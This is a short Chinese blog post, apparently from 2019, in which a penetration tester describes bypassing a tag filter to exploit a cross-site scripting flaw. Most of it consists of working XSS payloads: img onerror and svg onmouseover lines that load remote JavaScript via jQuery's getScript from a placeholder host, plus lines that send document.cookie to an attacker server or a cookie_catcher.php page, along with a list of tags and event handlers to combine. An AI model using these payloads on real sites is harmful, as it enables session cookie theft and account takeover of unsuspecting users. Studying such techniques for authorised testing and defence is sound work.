XSS漏洞之加载远程js文件

这次在对一个系统渗透测试过程中,发现一个XSS漏洞,可弹窗,并且没有httponly

但是在尝试加载远程js文件的时候发现,script标签被过滤掉了,准确的说应该是服务器后端在识别到输入内容有<>的时候,会把每对尖括号以及尖括号里面的内容都过滤掉,唯独有一个特例,就是img标签不会

在网上找了一些资料,发现可以用img来加载远程js,陆陆续续试过以下几个方法:

1.<img src=x onerror=document.body.appendChild(document.createElement('img')).src='//xxx.xxx/a?cookie='+document.cookie>

   用这种方式是将cookie写入到自己搭建的服务器下的一个txt文件里,这种方式能起作用,但是没读到cookie,so失败了

 

2.<img src=x onerror=document.body.appendChild(document.createElement('script')).src='//xxx.xxx/a.js'>

   这种方法也没成功,有可能是因为其中包含有script关键字,so失败了

 

3.<svg onmouseover="$.getScript`https://xxx/a.js`" stype="display:none">

    最终成功加载到远程js文件的payload!这种方法只要网站支持jQuery就可以这样子加载js文件

    这种方法有三个要素,可以自由选择

    3.1标签:svg  input   object   iframe  img  a   pbutton  script等等

    3.2属性:onmouseover  onmousemove   onclick  onerror  onload  onfocus+autofocus

    3.3事件代码:console.log(document.cookie)

                document.location="http://www.test.com/cookie_catcher.php?c="+document.cookie

                      prompt(document.cookie)

                      confirm(document.cookie)

                        "$.getScript`https://xxx/a.js`" stype="display:none"                              --加载远程js文件

                    

 

心得体会:

学习前辈的经验,一定要多思考,不要搬过来就直接用,多想想为什么,多去探索原理和本质,实践出真知。

另外,不要让代码能力成为自己的短板。

 

posted @ 2019-09-11 19:59 binggogo 阅读(...) 评论(...) 编辑 收藏